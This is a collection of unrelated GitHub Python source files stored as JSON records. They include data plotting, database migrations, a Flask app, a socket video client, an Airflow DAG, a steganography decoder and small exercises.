+{"seq_id":"2810481694","text":"import os\r\nimport sqlite3\r\nimport requests\r\nimport json\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef setUpDatabase(database_name):\r\n    path = os.path.dirname(os.path.abspath(__file__))\r\n    conn = sqlite3.connect(path+'/'+database_name)\r\n    cur = conn.cursor()\r\n    return cur, conn\r\n\r\ndef top_50_gdp_dr_rr(cur, conn):\r\n    result = cur.execute(\"SELECT Covid.country, death_rate, recovered_rate FROM Covid JOIN Country_Indicator ON Covid.country = Country_Indicator.country ORDER BY Country_Indicator.GDP DESC LIMIT 50\")\r\n    recovered_rate = []\r\n    death_rate = []\r\n    country = []\r\n    for row in result:\r\n        recovered_rate.append(row[2])\r\n        death_rate.append(row[1])\r\n        country.append(row[0])\r\n    \r\n    fig, ax = plt.subplots()\r\n    ax.scatter(death_rate, recovered_rate, marker = 'x', color = 'c')\r\n    for x,y,i in zip(death_rate,recovered_rate, country):\r\n        label = i\r\n        plt.annotate(label, # this is the text\r\n                (x,y), # this is the point to label\r\n                textcoords=\"offset points\", # how to position the text\r\n                xytext=(0,3), # distance from text to points (x,y)\r\n                ha='center', # horizontal alignment can be left, right or center\r\n                size = 7.5) \r\n    ax.set(xlabel='Death Rate (%)', ylabel='Recovery Rate(%)',\r\n        title='Top 50 GDP Countries: Death Rate vs Recovery Rate')\r\n    ax.grid()\r\n    fig.set_size_inches(10.5, 10.5)\r\n    fig.savefig(\"test.png\")\r\n    plt.show()\r\ndef top_10_rec_gdp(cur, conn):\r\n    result = cur.execute(\"SELECT Covid.country, recovered_rate, Country_Indicator.GDP FROM Covid JOIN Country_Indicator ON Covid.country = Country_Indicator.country ORDER BY Country_Indicator.GDP DESC LIMIT 10\")\r\n    recovered_rate = []\r\n    gdp = []\r\n    country = []\r\n    for row in result:\r\n        recovered_rate.append(row[1])\r\n        gdp.append(row[2])\r\n        country.append(row[0])\r\n    \r\n    fig, ax = plt.subplots()\r\n    ax.scatter(gdp, recovered_rate, marker = 'x', color = 'black')\r\n    for x,y,i in zip(gdp,recovered_rate, country):\r\n        label = i\r\n        plt.annotate(label, # this is the text\r\n                (x,y), # this is the point to label\r\n                textcoords=\"offset points\", # how to position the text\r\n                xytext=(0,10), # distance from text to points (x,y)\r\n                ha='center') # horizontal alignment can be left, right or center\r\n    ax.set(xlabel='GDP (in Trillions USD)', ylabel='Recovery Rate (%)',\r\n        title='Top 10 GDP Countries: Covid Recovery Rate')\r\n    ax.grid()\r\n    fig.set_size_inches(10.5, 10.5)\r\n    fig.savefig(\"test.png\")\r\n    plt.show()\r\ndef top_10_death_rec_rate(cur, conn):\r\n    result = cur.execute(\"SELECT country, death_rate, recovered_rate FROM Covid ORDER BY death_rate DESC LIMIT 10\")\r\n    death_rate = []\r\n    country = []\r\n    recovered_rate = []\r\n    for row in result:\r\n        country.append(row[0])\r\n        death_rate.append(row[1])\r\n        recovered_rate.append(row[2])\r\n    fig, ax = plt.subplots()\r\n    ax.bar(country, death_rate, label='Death Rate')\r\n    ax.bar(country, recovered_rate, bottom= death_rate,\r\n        label='Recovery Rate')\r\n    ax.set_ylabel('Death/Recovery Rate (%)')\r\n    ax.set_title('Top 10 Covid Death Rate Countries and its Recovery Rate')\r\n    plt.xticks(fontsize=8)\r\n    ax.legend()\r\n    fig.set_size_inches(10.5, 10.5)\r\n    fig.savefig(\"test.png\")\r\n    plt.show()\r\ndef dr_rr_vs_population(cur, conn):\r\n    result = cur.execute(\"SELECT Covid.country, death_rate, recovered_rate, Country_Indicator.population FROM Covid JOIN Country_Indicator ON Covid.country = Country_Indicator.country\")\r\n    recovered_rate = []\r\n    death_rate = []\r\n    population = []\r\n    for row in result:\r\n        recovered_rate.append(row[2])\r\n        death_rate.append(row[1])\r\n        population.append(row[3])\r\n    fig, ax = plt.subplots()\r\n    ax.scatter(population, recovered_rate, marker = 'x', color = 'c', label = 'Recovery Rate')\r\n    ax.scatter(population, death_rate, marker='o', color = 'b', label = 'Death Rate')\r\n    ax.set(xlabel='Population (in Billions)', ylabel='Death/Recovery Rate (%)',\r\n        title='Covid Death/Recovery Rate vs Population per Country')\r\n    ax.legend()\r\n    ax.grid()\r\n    fig.set_size_inches(10.5, 10.5)\r\n    fig.savefig(\"test.png\")\r\n    plt.show()\r\ndef main():\r\n    cur, conn = setUpDatabase('covid_worldbank.db')\r\n    top_10_rec_gdp(cur, conn)\r\n    dr_rr_vs_population(cur,conn)\r\n    top_10_death_rec_rate(cur, conn)\r\n    top_50_gdp_dr_rr(cur, conn)\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"wong-vivian/Final-Project","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8897349202","text":"\"\"\"Initial\n\nRevision ID: c70d8b1ce12f\nRevises: \nCreate Date: 2023-11-08 08:37:28.697911\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nimport fastapi_users_db_sqlalchemy\n\n\n# revision identifiers, used by Alembic.\nrevision = \"c70d8b1ce12f\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"grade\",\n        sa.Column(\"id\", sa.BigInteger(), autoincrement=True, nullable=False),\n        sa.Column(\"grade_name\", sa.String(), nullable=False),\n        sa.Column(\"grade_level\", sa.Integer(), nullable=False),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_index(op.f(\"ix_grade_grade_name\"), \"grade\", [\"grade_name\"], unique=False)\n    op.create_table(\n        \"office\",\n        sa.Column(\"id\", sa.BigInteger(), autoincrement=True, nullable=False),\n        sa.Column(\"office_name\", sa.String(), nullable=False),\n        sa.Column(\"address\", sa.String(), nullable=False),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_index(\n        op.f(\"ix_office_office_name\"), \"office\", [\"office_name\"], unique=False\n    )\n    op.create_table(\n        \"task_reference\",\n        sa.Column(\"id\", sa.BigInteger(), autoincrement=True, nullable=False),\n        sa.Column(\"task_name\", sa.String(), nullable=False),\n        sa.Column(\"priority\", sa.Integer(), nullable=False),\n        sa.Column(\n            \"execution_time\",\n            sa.Integer(),\n            nullable=False,\n            comment=\"Execution time in seconds\",\n        ),\n        sa.Column(\"min_employee_level\", sa.Integer(), nullable=False),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_index(\n        op.f(\"ix_task_reference_task_name\"),\n        \"task_reference\",\n        [\"task_name\"],\n        unique=False,\n    )\n    op.create_table(\n        \"user\",\n        sa.Column(\"name\", sa.String(length=32), nullable=False),\n        sa.Column(\"surname\", sa.String(length=50), nullable=False),\n        sa.Column(\"login\", sa.String(length=32), nullable=False),\n        sa.Column(\"phone\", sa.Integer(), nullable=True),\n        sa.Column(\"birth_date\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"is_admin\", sa.Boolean(), server_default=\"false\", nullable=False),\n        sa.Column(\"is_editor\", sa.Boolean(), server_default=\"false\", nullable=False),\n        sa.Column(\n            \"created\",\n            sa.DateTime(timezone=True),\n            server_default=sa.text(\"now()\"),\n            nullable=False,\n        ),\n        sa.Column(\n            \"updated\",\n            sa.DateTime(timezone=True),\n            server_default=sa.text(\"now()\"),\n            nullable=False,\n        ),\n        sa.Column(\"id\", fastapi_users_db_sqlalchemy.generics.GUID(), nullable=False),\n        sa.Column(\"email\", sa.String(length=320), nullable=False),\n        sa.Column(\"hashed_password\", sa.String(length=1024), nullable=False),\n        sa.Column(\"is_active\", sa.Boolean(), nullable=False),\n        sa.Column(\"is_superuser\", sa.Boolean(), nullable=False),\n        sa.Column(\"is_verified\", sa.Boolean(), nullable=False),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_index(op.f(\"ix_user_email\"), \"user\", [\"email\"], unique=True)\n    op.create_index(op.f(\"ix_user_login\"), \"user\", [\"login\"], unique=True)\n    op.create_index(op.f(\"ix_user_name\"), \"user\", [\"name\"], unique=False)\n    op.create_index(op.f(\"ix_user_phone\"), \"user\", [\"phone\"], unique=True)\n    op.create_table(\n        \"condition\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"name\", sa.String(), nullable=False),\n        sa.Column(\"task_id\", sa.BigInteger(), nullable=False),\n        sa.ForeignKeyConstraint([\"task_id\"], [\"task_reference.id\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_table(\n        \"employee_reference\",\n        sa.Column(\"id\", sa.BigInteger(), autoincrement=True, nullable=False),\n        sa.Column(\"employee_name\", sa.String(), nullable=False),\n        sa.Column(\"grade_id\", sa.BigInteger(), nullable=False),\n        sa.Column(\"office_id\", sa.BigInteger(), nullable=False),\n        sa.ForeignKeyConstraint([\"grade_id\"], [\"grade.id\"], ondelete=\"CASCADE\"),\n        sa.ForeignKeyConstraint([\"office_id\"], [\"office.id\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_index(\n        op.f(\"ix_employee_reference_employee_name\"),\n        \"employee_reference\",\n        [\"employee_name\"],\n        unique=False,\n    )\n    op.create_table(\n        \"task_distribution\",\n        sa.Column(\"id\", sa.BigInteger(), autoincrement=True, nullable=False),\n        sa.Column(\"task_id\", sa.BigInteger(), nullable=False),\n        sa.Column(\"employee_id\", sa.BigInteger(), nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"employee_id\"], [\"employee_reference.id\"], ondelete=\"CASCADE\"\n        ),\n        sa.ForeignKeyConstraint([\"task_id\"], [\"task_reference.id\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table(\"task_distribution\")\n    op.drop_index(\n        op.f(\"ix_employee_reference_employee_name\"), table_name=\"employee_reference\"\n    )\n    op.drop_table(\"employee_reference\")\n    op.drop_table(\"condition\")\n    op.drop_index(op.f(\"ix_user_phone\"), table_name=\"user\")\n    op.drop_index(op.f(\"ix_user_name\"), table_name=\"user\")\n    op.drop_index(op.f(\"ix_user_login\"), table_name=\"user\")\n    op.drop_index(op.f(\"ix_user_email\"), table_name=\"user\")\n    op.drop_table(\"user\")\n    op.drop_index(op.f(\"ix_task_reference_task_name\"), table_name=\"task_reference\")\n    op.drop_table(\"task_reference\")\n    op.drop_index(op.f(\"ix_office_office_name\"), table_name=\"office\")\n    op.drop_table(\"office\")\n    op.drop_index(op.f(\"ix_grade_grade_name\"), table_name=\"grade\")\n    op.drop_table(\"grade\")\n    # ### end Alembic commands ###\n","repo_name":"dreamteamxx/hackathon","sub_path":"backend/alembic/versions/c70d8b1ce12f_initial.py","file_name":"c70d8b1ce12f_initial.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23694450085","text":"# Web server config\nHOST = '0.0.0.0'\nPORT = 8808\n\nDEBUG = True\n\nREDIS_HOST = '127.0.0.1'\nREDIS_PORT = 6379\nREDIS_DB = 1\n\nTEMPLATE_ROOT = 'templates'\nSTATIC_ROOT = 'static'\n","repo_name":"hw20686832/lietou","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24252708414","text":"\"\"\"\nThis file is part of Piston.\n\nPiston is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nPiston is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Piston.  If not, see <http://www.gnu.org/licenses/>.\n\"\"\"\nimport logging\nfrom flask import Flask, render_template, jsonify, g\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom raven.contrib.flask import Sentry\n\nimport piston.csrf\nfrom piston.version import __version__\n\napp = Flask(__name__)\n\napp.config['USER_AGENT'] = \"Piston/%s\" % __version__\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SENTRY_CONFIG'] = {\n    \"release\": __version__\n}\napp.config.from_pyfile(\"config.py\", silent=True)\napp.config.from_pyfile(\"/etc/piston/config.py\", silent=True)\n\n\nsentry = Sentry(app)\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\n\napp.jinja_env.globals['csrf_token'] = piston.csrf.generate_token\napp.jinja_env.globals['public_dsn'] = sentry.client.get_public_dsn('https')\napp.jinja_env.globals['piston_version'] = __version__\n\nimport piston.register  # noqa: E104\nimport piston.notifications  # noqa: E014\n\napp.register_blueprint(piston.register.views.app, url_prefix=\"/register\")\napp.register_blueprint(piston.notifications.views.app, url_prefix=\"/notifications\")\n\n\n@app.route(\"/\")\ndef index():\n    \"\"\"Render the index page.\"\"\"\n    return render_template(\"index.html\")\n\n\n@app.route('/serviceworker.js')\ndef serviceworker():\n    \"\"\"Send the serviceworker from the root.\"\"\"\n    return app.send_static_file('js/serviceworker.js')\n\n\n@app.route('/docs')\ndef docs():\n    \"\"\"Render the documentation.\"\"\"\n    return render_template('docs.html')\n\n\n@app.route(\"/manifest.json\")\ndef manifest():\n    \"\"\"Send the manifest.\"\"\"\n    return jsonify({\n        \"name\": \"Piston\",\n        \"short_name\": \"Piston\",\n        \"icons\": [\n            {\n                \"src\": \"images/icon-192x192.png\",\n                \"sizes\": \"192x192\",\n                \"type\": \"image/png\"\n            }\n        ],\n        \"start_url\": \"/\",\n        \"display\": \"standalone\",\n        \"gcm_sender_id\": app.config['GCM_ID']\n    })\n\n\n@app.before_first_request\ndef setup_logging():\n    if not app.debug:\n        # In production mode, add log handler to sys.stderr.\n        app.logger.addHandler(logging.StreamHandler())\n        app.logger.setLevel(logging.INFO)\n\n\n@app.errorhandler(500)\ndef internal_server_error(error):\n    return render_template('500.html', event_id=g.sentry_event_id)\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0')\n","repo_name":"thefinn93/piston","sub_path":"piston/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"41667693205","text":"#port assignment is ok \r\n#port where to receive other video is ok \r\n#server current code can't pass what it received\r\nimport threading\r\nfrom threading import Thread\r\nimport time\r\nimport cv2\r\nimport io\r\nimport socket\r\nimport sys\r\nimport struct\r\nimport time\r\nimport pickle\r\nimport tkinter\r\nimport pyaudio\r\n\r\ndef client1(HOST, PORT): #sends the data to server\r\n  print(\"CLIENT1: Starting...\")\r\n  client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n  client_socket.connect((HOST, PORT))\r\n  connection = client_socket.makefile('wb')\r\n\r\n  cam = cv2.VideoCapture(0 + cv2.CAP_DSHOW)\r\n\r\n  cam.set(3, 640)\r\n  cam.set(4, 480)\r\n\r\n  img_counter = 0\r\n\r\n  encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 90]\r\n\r\n  while True:\r\n    ret, frame = cam.read()\r\n    cv2.imshow('SELF CAMERA',frame)\r\n    result, frame = cv2.imencode('.jpg', frame, encode_param)\r\n    \r\n    #data = zlib.compress(pickle.dumps(frame, 0))\r\n    data = pickle.dumps(frame, 0)\r\n    size = len(data)\r\n\r\n    #print(\"{}: {}\".format(img_counter, size))\r\n    client_socket.sendall(struct.pack(\">L\", size) + data)\r\n    img_counter += 1\r\n\r\n    if cv2.waitKey(1) & 0xFF == ord('q'):       #press q on camera window to exit\r\n      break\r\n\r\n  cam.release()\r\n  cv2.destroyAllWindows()\r\n\r\n\r\n\r\n# Define a function for the thread\r\ndef client2(HOST2, PORT2):   #receives data from server\r\n    print(\"CLIENT2: Starting...\")\r\n    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    client_socket.connect((HOST2, PORT2))\r\n    connection = client_socket.makefile('wb')\r\n\r\n    data = b\"\"\r\n    payload_size = struct.calcsize(\">L\")\r\n    print(\"CLIENT2: Starting Camera...\")\r\n    #print(\"payload_size: {}\".format(payload_size))\r\n    while True:\r\n        while len(data) < payload_size:\r\n            #print(\"Recv: {}\".format(len(data)))\r\n            data += client_socket.recv(4096)\r\n\r\n        #print(\"Done Recv: {}\".format(len(data)))\r\n        packed_msg_size = data[:payload_size]\r\n        data = data[payload_size:]\r\n        msg_size = struct.unpack(\">L\", packed_msg_size)[0]\r\n        #print(\"msg_size: {}\".format(msg_size))\r\n        while len(data) < msg_size:\r\n            data += client_socket.recv(4096)\r\n        frame_data = data[:msg_size]\r\n        data = data[msg_size:]\r\n\r\n        frame=pickle.loads(frame_data, fix_imports=True, encoding=\"bytes\")\r\n        frame = cv2.imdecode(frame, cv2.IMREAD_COLOR)\r\n        cv2.imshow('Host Camera',frame)\r\n        if cv2.waitKey(1) & 0xFF == ord('q'):       #press q on camera window to exit\r\n          break\r\n\r\n\r\nprint(\"YOU ARE THE MAIN HOST!\")\r\n#HOST = input(\"Enter Your Server IP:\\n\")        # check ipconfig for an available local iPV4 address\r\n\r\n#HOST = socket.gethostname()\r\n#print('Your Socket Host Name:',HOST)\r\nHOST = \"169.254.251.99\"\r\nports = {'5001':False,'6001':False,'7001':False}\r\naddresses = {}\r\nclients = {}\r\nPORTU = 9999\r\nPORT  = 1001\r\nPORT2 = 2001\r\nPORT3 = 3001\r\nPORT4 = 4001\r\n\r\nclientVideoSocketUniv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nclientVideoSocketUniv.connect((HOST, PORTU))\r\n\r\nmy_port = clientVideoSocketUniv.recv(4).decode() #wait for my port \r\n\r\n#multithreading \r\nt2 = Thread(target=client2, args=(HOST,PORT2)) #launch server video recv\r\nt2.start()\r\n\r\nports[my_port] = True #I send my video here, make it occupied\r\nt = Thread(target=client1, args=(HOST, int(my_port) )) #send my video to server\r\nt.start()\r\n\r\n#locate and launch my other receive ports \r\n#I receive from 2 other ports thus repeat it 2 times\r\nfor portnos in sorted(ports.keys()):\r\n    if ports[portnos] == False:\r\n        ports[portnos] = True # set true since i will already launch a receiving thread\r\n        RecieveFrameThread1 = Thread(target=client2 , args=(HOST, int(portnos) ), daemon=True).start()\r\n        print(portnos,' - Connected !')\r\n        break\r\n\r\nfor portnos in sorted(ports.keys()):\r\n    if ports[portnos] == False:\r\n        ports[portnos] = True # set true since i will already launch a receiving thread\r\n        RecieveFrameThread2 = Thread(target=client2 , args=(HOST, int(portnos) ), daemon=True).start()\r\n        print(portnos,' - Connected !')\r\n        break\r\n\r\n\r\n","repo_name":"espiritukarl/CoE135Proj","sub_path":"Base Codes/multi_video_client.py","file_name":"multi_video_client.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29474439643","text":"from airflow.decorators import dag, task\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\nfrom a_minkin_8_plugins.aminkin_ram_operator import RickAndMortyTopLocationsOperator\nfrom datetime import datetime\n\ndefault_args = {\n    'owner': 'aminkin',\n    'email': ['aminkin@cbgr.ru'],\n    'email_on_failure': False,\n    'email_on_retry': False,\n    'start_date': datetime(2022,1,1),\n    'schedule_interval': None,\n    'depends_on_past': False\n}\n\n@dag(\n    dag_id='aminkin-ram-dag-v02',\n    description='Test dag for rick and morty api',\n    default_args=default_args,\n    catchup=False\n)\ndef aminkin_ram_dag():\n    \n    @task(\n        task_id='create-ram-table'\n    )\n    def create_ram_table():\n        pg_hook = PostgresHook(postgres_conn_id='conn_greenplum_write')\n        conn = pg_hook.get_conn()\n        cursor = conn.cursor()\n        print(\"Creating TABLE\")\n        cursor.execute(f\"\"\"create table if not exists aminkin_ram_location(\n                    id\t\t\t\tinteger primary key,\n                    name\t\t\ttext,\n                    type\t\t\ttext,\n                    dimension\t\ttext,\n                    resident_cnt\tinteger,\n                    gather_date\t\ttimestamp default CURRENT_TIMESTAMP\n                );\"\"\")\n        print(\"Clearing TABLE\")\n        cursor.execute(\"truncate table aminkin_ram_location;\")\n        conn.commit()\n\n    ram_task = RickAndMortyTopLocationsOperator(task_id=\"gather-ram-locations\", top_limit = 3)\n\n    @task(\n        task_id='save-top-locations'\n    )\n    def save_top_locations(**kwargs):\n        ti = kwargs['ti']\n        sql_values = ti.xcom_pull(task_ids='gather-ram-locations')\n        pg_hook = PostgresHook(postgres_conn_id='conn_greenplum_write')\n        conn = pg_hook.get_conn()\n        cursor = conn.cursor()\n        print(\"Loading TABLE\")\n        cursor.execute(f\"\"\"INSERT INTO aminkin_ram_location(id, \"name\", \"type\", dimension, resident_cnt) VALUES\\n{sql_values};\"\"\")\n        conn.commit()\n\n    create_ram_table() >> ram_task >> save_top_locations()\n\ndag = aminkin_ram_dag()","repo_name":"skarfex/education.courses_data_engineer","sub_path":"karpov_airflow_fullrep/dags/a-minkin-8/a-minkin-8-ram.py","file_name":"a-minkin-8-ram.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41266267195","text":"from PIL import Image\n\ndef decode_data():\n    img = input(\"Enter image name - to decode data from - with extension: \") #Here we load an image which might have some message encoded in it, either that be the one we just encoded some data in, or an image with data encoded from some other source.\n    # we start checking three pixels until the ninth value of the current trio of pixels is 1 which would mean we have reached the end of data being deciphered\n    # if an r g b value is 1 (in the trio of pixels - we are checking the eight values for one complete byte whose ascii equivalent would give us the character) then we append 1 to our byte, and 0 if the r g b value being checked is odd. \n    image = Image.open(img, 'r')\n    imgdata = list(image.getdata())\n    dataBin = []\n    for val in range(0, len(imgdata), 3):\n        tstr = ''\n        if ((imgdata[val][0]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val][1]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val][2]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val+1][0]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val+1][1]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val+1][2]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val+2][0]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        if ((imgdata[val+2][1]%2)==0):\n            tstr+=str(0)\n        else:\n            tstr+=str(1)\n        \n        dataBin.append(tstr)\n\n        if ((imgdata[val+2][2]%2)==1):\n            break\n        else:\n            continue\n    fstr = [(chr(int(val,2))) for val in dataBin]\n    print(\"The decoded message is: \", (''.join(fstr))) #decoded message displayed. \n\n\ndecode_data()\n    \n\n    \n\n\n","repo_name":"RuhamaN/steganography-tool","sub_path":"decrypt.py","file_name":"decrypt.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10917593043","text":"scores = []\nscore_index = []\n\nfor i in range(8):\n  scores.append(int(input()))\nsor = sorted(scores, reverse = True)\nprint(sum(sor[:5]))\n\nfor j in range(5):\n  score_index.append(scores.index(sor[j]))\nresult = sorted(score_index)\n\nfor i in result:\n  print(int(i)+1, end = ' ')","repo_name":"Monggle88/Baekjoon","sub_path":"백준/Silver/2822. 점수 계산/점수 계산.py","file_name":"점수 계산.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39290811784","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport click\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.externals import joblib\nimport xgboost as xgb\n\n@click.command()\n@click.argument('input_filepath', type=click.Path(exists=True))\n@click.argument('model_path', type=click.Path())\n@click.argument('submission_path', type=click.Path())\ndef main(input_filepath, model_path, submission_path):\n    data = joblib.load(input_filepath)\n    df_train = data['train']\n\n    print(\"Training shape: %s\" % str(df_train.shape))\n    # joblib.dump(clf, model_path)\n\n    X_train = df_train.drop(['Survived'], axis=1).values.astype(float)\n    y_train = df_train['Survived'].values.astype(float)\n\n    # random shuffle data\n    np.random.seed(42) # fix seed\n    permute_idx = np.random.permutation(len(X_train))\n    X_train, y_train = X_train[permute_idx], y_train[permute_idx]\n    params = {\n        'objective': 'binary:logistic',\n        'max_depth': 2,\n        'n_estimators': 40,\n        'eta': 0.005,\n        'colsample_bytree': 0.8,\n        'subsample': 1.0,\n        'eval_metric': 'error',\n        'silent': 1,\n        'min_child_weight': 1,\n        'gamma': 1\n    }\n\n    Z_train = xgb.DMatrix(X_train, label=y_train)\n\n    xgb.cv(params=params, dtrain=Z_train,\n           num_boost_round=1000,\n           nfold=10,\n           verbose_eval=10,\n           seed=42)\n\n\n    clf = xgb.train(params=params, dtrain=Z_train,\n                    num_boost_round=1000)\n\n    # save model\n    joblib.dump(clf, model_path)\n\n    # create submission\n    df_test = data['test']\n    X_test = df_test.drop(['PassengerId', 'Survived'], axis=1).values.astype(float)\n\n    y_pred = clf.predict(xgb.DMatrix(X_test))\n\n    y_pred[y_pred >= 0.5] = 1\n    y_pred[y_pred < 0.5] = 0\n\n    pd.DataFrame({\n        'PassengerId': df_test['PassengerId'],\n        'Survived': y_pred.astype(int)\n    }).to_csv(submission_path, index=False)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"uberwach/titanic","sub_path":"src/models/train_xgboost.py","file_name":"train_xgboost.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15892780327","text":"def dfs(v):\n    global G, visited, V\n    visited[v] = 1\n    print(v, end=\" \")\n\n    for w in range(V+1):\n        if G[v][w] == 1 and visited[w] == 0:\n            dfs(w)\n\nimport sys\nsys.stdin = open(\"연습3_input.txt\")\nV, E = map(int, input().split())\n\ntemp = list(map(int, input().split()))\n\nG = [[0 for i in range(V+1)] for j in range(V+1)] #2차원 초기화\nvisited = [0 for i in range(V+1)]\n\nfor i in range(0, len(temp), 2):  #입력\n    G[temp[i]][temp[i+1]] = 1\n    G[temp[i+1]][temp[i]] = 1\n\nfor i in range(V+1):  #입력확인\n    print(\"{} {}\".format(i, G[i]))\n\ndfs(1)\n\n","repo_name":"Nyapy/TIL","sub_path":"04_algorithm/07day/4.+Stack1_연습/연습3_DFS_재귀.py","file_name":"연습3_DFS_재귀.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"32348726094","text":"from selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom viaReservation.test_genericFunctions import generic\nclass test_helpclass:\n    @staticmethod\n    def help(driver, logger, TCName):\n        '''question_Locator=(By.XPATH, \"//a[contains(text(),'How much Points (Via Cash) can I redeem for a booking?')]\")'''\n        \n        '''TS=generic.getCurrentTime()\n        exePath=\".\\\\Screenshots\\\\\"+\"Execution_\"+TS+\"\\\\\"+\"screenshot_\"'''\n        try:\n            driver.switch_to.frame(\"hs-support-frame\")\n          \n            element = WebDriverWait(driver, 20).until(\n            EC.presence_of_element_located((By.XPATH, \"//a[contains(text(),'How much Points (Via Cash) can I redeem for a booking?')]\")))\n                 \n            element.click()\n            generic.captureScreenshot(driver, TCName )                                                                            \n            driver.switch_to.default_content()\n            logger.info(\"frame switched successfully\")\n        except Exception as e:\n            logger.warn(\"frame switch unsuccessful, exception raised: \", e)\n            raise e\n                \n","repo_name":"Timsi02/Selenium-with-python","sub_path":"Automation project demo/Page Object Model/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"39105842004","text":"#do not put this in the final proj, just here to show what I changed in major_cities.csv\n\n#you do not need to run this, it has done its work\n\nimport csv\n\nregular_alphabet = \"abcdefghijklmnopqrstuvwxyz -\"\n\ncities = []\nwith open(\"major_cities.csv\", encoding='utf-8') as file:\n    reader = csv.reader(file)\n    firstRow = True\n    cityTuple = (\"first_nothing_no_city\",)\n    for row in reader:\n        if(firstRow == True):\n            firstRow = False\n        else:\n            cityTuple = (row[0].lower(),)\n            should_not_add = False\n            for char in cityTuple[0]:\n                if(char not in regular_alphabet):\n                    should_not_add = True\n                    break\n            if(should_not_add == True or cityTuple in cities):\n                continue\n            cities.append(cityTuple)\n\nwith open(\"major_cities.csv\",'w',newline = '',encoding = 'utf-8') as file:\n    writer = csv.writer(file)\n    writer.writerow((\"cities\",))\n    writer.writerows(cities)","repo_name":"nishchaysinha/weatherapp","sub_path":"Data refinement scripts/major_cities_edit.py","file_name":"major_cities_edit.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
